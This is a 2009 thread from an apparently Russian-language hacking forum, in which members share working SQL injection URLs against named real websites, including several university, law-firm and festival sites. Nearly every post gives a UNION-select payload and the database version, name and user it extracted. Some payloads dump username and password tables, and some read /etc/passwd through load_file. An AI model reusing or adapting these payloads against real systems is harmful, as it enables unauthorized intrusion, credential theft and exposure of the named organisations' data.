SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. +++AndreyDevil+++

    Joined:
    28 Dec 2008
    Messages:
    117
    Likes Received:
    30
    Reputations:
    0
    http://www.dbq.edu/news/news1.cfm?ID=423+union+select+1,2,3,4,5,6,7,8,9,10+from+release%00

    Microsoft Access
     
    6 people like this.
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.1cleaning.ru/rus/sc.php?id=-29+union+select+1,concat_ws(0x3a,user(),database(),version()),3--
    Code:
    [email protected]:b19949:5.0.67
     
  3. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    4.1.22-standarddjzedumy_daobao@localhostdjzedumy_daobao
     
    1 person likes this.
  4. xa-xa89

    xa-xa89 Elder - Старейшина

    Joined:
    17 May 2008
    Messages:
    108
    Likes Received:
    27
    Reputations:
    2
    Code:
    http://veganica.com/artists.php?typeid=1%27+and+substring(version(),1,1)=4+/*
    Code:
    http://www.buywacomthai.com/th/catalog.php?typeid=3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6+--+-
     
    #10344 xa-xa89, 13 Aug 2009
    Last edited: 13 Aug 2009
    2 people like this.
  5. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 8

    http://www.ncsu.edu/jcraulstonarboretum/calendar/event_details.php?ID=-248+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,34/*

    Database Version: 4.1.19-log
    Database name: arboretum
    User name: [email protected]

    -----------------------------------------------------------------------------------------------------------------

    PR 6

    http://www.cals.ncsu.edu/poultry/staff.php?content=Jim_Croom&id=-44+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,0,11+from+user/*

    Database Version: 4.1.19-log
    Database name: ps_cms
    User name: [email protected]

    --------------------------------------------------------------------------------------------------------------------------

    PR 4

    http://omega.physics.uiowa.edu/DOE06/Pages/Page.php?Id=-2+union+select+1,load_file('/etc/passwd'),3,4+from+mysql.user/*

    Database Version: 4.1.22
    Database name: DOE_WEB
    User name: root@localhost

    ---------------------------------------------------------------------------------------------------------------------------------

    PR 4

    http://genetics.uiowa.edu/people/detail.php?id=-143+union+select+version(),2,3,4,5,6,7,8,9,0,1,12/*
     
    #10345 Skofield, 13 Aug 2009
    Last edited: 13 Aug 2009
    5 people like this.
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 4

    http://csbl.bmb.uga.edu/uber/display_species.php?id=-82+union+select+version()/*

    Database Version: 4.0.18
    Database name: Uber
    User name: [email protected]
     
  7. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    5.0.32-Debian_7etch8-log*fff_location*fff_location_w@localhost



    -communitymaaravo_maarav5@localhostmaaravo_maarav5
     
    #10347 Swift, 13 Aug 2009
    Last edited: 14 Aug 2009
  8. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 5

    http://bethhart.org/band.php?id=3+union+select+1,version(),3,4,5,6,7--

    Database Version: 5.0.67-community-log
    Database name: bethhart_com_site
    User name: [email protected]
     
    1 person likes this.
  9. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.stanki43.ru/index.php?id=-14+union+select+1,2,3,unhex(hex(version())),5,6,7--
    4.1.18-log:stanki43:teho_us1@localhost
     
    3 people like this.
  10. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 4
    http://ukrainianlawfirms.com/firms.php?id=-023+union+select+1,version(),3,4,5/*

    Database Version: 5.0.44-log
    Database name: ukrainianlaw
    User name: u_ukr_law@localhost

    -----------------------------------------------------------------------------------------------------------------

    http://www.mightbegood.net/fluent/linkcat.php?id=2+union+select+version(),2,3--

    Database Version: 5.0.81-community-log
    Database name: fluentco_fluent
    User name: fluentco_admin@localhost
     
    #10350 Skofield, 14 Aug 2009
    Last edited: 14 Aug 2009
    3 people like this.
  11. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8

    5.0.45 slr slr@localhost
     
    1 person likes this.
  12. diGriz

    diGriz Elder - Старейшина

    Joined:
    11 Oct 2006
    Messages:
    138
    Likes Received:
    82
    Reputations:
    6
    Code:
    http://www.cacma.org/index.php?c=noti.php&id=-79+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,database(),version(),user()),11,12,13,14,15,16--
    web17_db1:5.0.20-Debian_1-log:web17_u1@localhost

    Code:
    http://www.vistazo.com/webpages/pais/index.php?id=-6641+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12,13,14,15--
    vistazoc_9:4.1.22-standard:vistazoc_admin@localhost
     
    2 people like this.
  13. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8

    5.0.45 Forum dedop@localhost
     
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.utahstorytellingguild.org/chapters.php?id=-8+union+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9+from+mysql.user/*

    Database Version: 4.1.22
    Database name: usg
    User name: barryw@localhost
     
  15. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.ledoux.com.uy/productos_ing.php?id=1&cod=-31+union+select+1,2,concat_Ws(0x3a,user(),database(),version()),4,5,6,7--

    ledoux_ledoux@localhost:ledoux_ledoux:5.0.67-community
     
    _________________________
    4 people like this.
  16. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.optiputer.net/events/presentation_temp.php?id=11+union+select+1,2,3,4,5,6,version(),8,9,0,1,2,3,4,15+from+mysql.user/*
    Database Version: 4.0.27
    Database name: calit
    User name: calit2user@localhost
     
    1 person likes this.
  17. RazyKK

    RazyKK Member

    Joined:
    9 Feb 2009
    Messages:
    127
    Likes Received:
    16
    Reputations:
    4
    http://www.cambridgefolkfestival.co.uk/artists/biographies.php?id=35+union+select+1,concat(version(),database(),user()),3,4,5--

    database Version: 4.1.22
    database name: cambridgefolk
    user name: cambridgefolk@localhost

    http://www.activeagency.co.uk/artist.php?id=35+union+select+1,concat(version(),database(),user()),3,4,5,6,7,8,9,10,11--
    database Version: 5.0.81-community
    database name: fran_activeagency
    user name: fran_franaa@localhost
     
    #10357 RazyKK, 14 Aug 2009
    Last edited: 14 Aug 2009
    2 people like this.
  18. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    Code:
    http://www.arpi-sibir.ru/seminar.php?id=-15'+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8/*
    arpi@localhost:5.0.45:arpi_sibir



    Code:
    http://www.izmiran.rssi.ru/catalog?id=-15+union+select+1,2,unhex(hex(concat_ws(0x3a,user(),version(),database()))),4--
    catalog@localhost:4.1.14:catalog



    Code:
    http://www.psychiatry.ru/lib_show.php?id=15+union+select+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6--
    [email protected]:4.1.22:yfilehljv_ncpz
     
    3 people like this.
  19. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    www.sovtest.ru
    Версия 4.1.18-standard-log

    П.С вывод в сааамом низу страницы

    ========================


    www.astrakhanfm.ru
    Версия 4.0.24-stan
     
    2 people like this.
  20. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Code:
    http://www.mmaspot.net/news.php?id=-605'+union+select+1,version(),3,4,5,6,7+from+user/*
    Database Version: 5.0.45
    Database name: mmaspot_vb
    User name: mmaspot_vb@localhost

    ---------------------------------------------------------------------------------------------------------

    PR 7
    Code:
    http://www.arthistoricum.net/index.php?id=276&ausgabe=2009_07&review_id=-13611+union+select+version()/*
    Database Version: 5.0.44
    Database name: usr_p101264_2
    User name: [email protected]
     
    #10360 Skofield, 15 Aug 2009
    Last edited: 15 Aug 2009
    1 person likes this.
Thread Status:
Not open for further replies.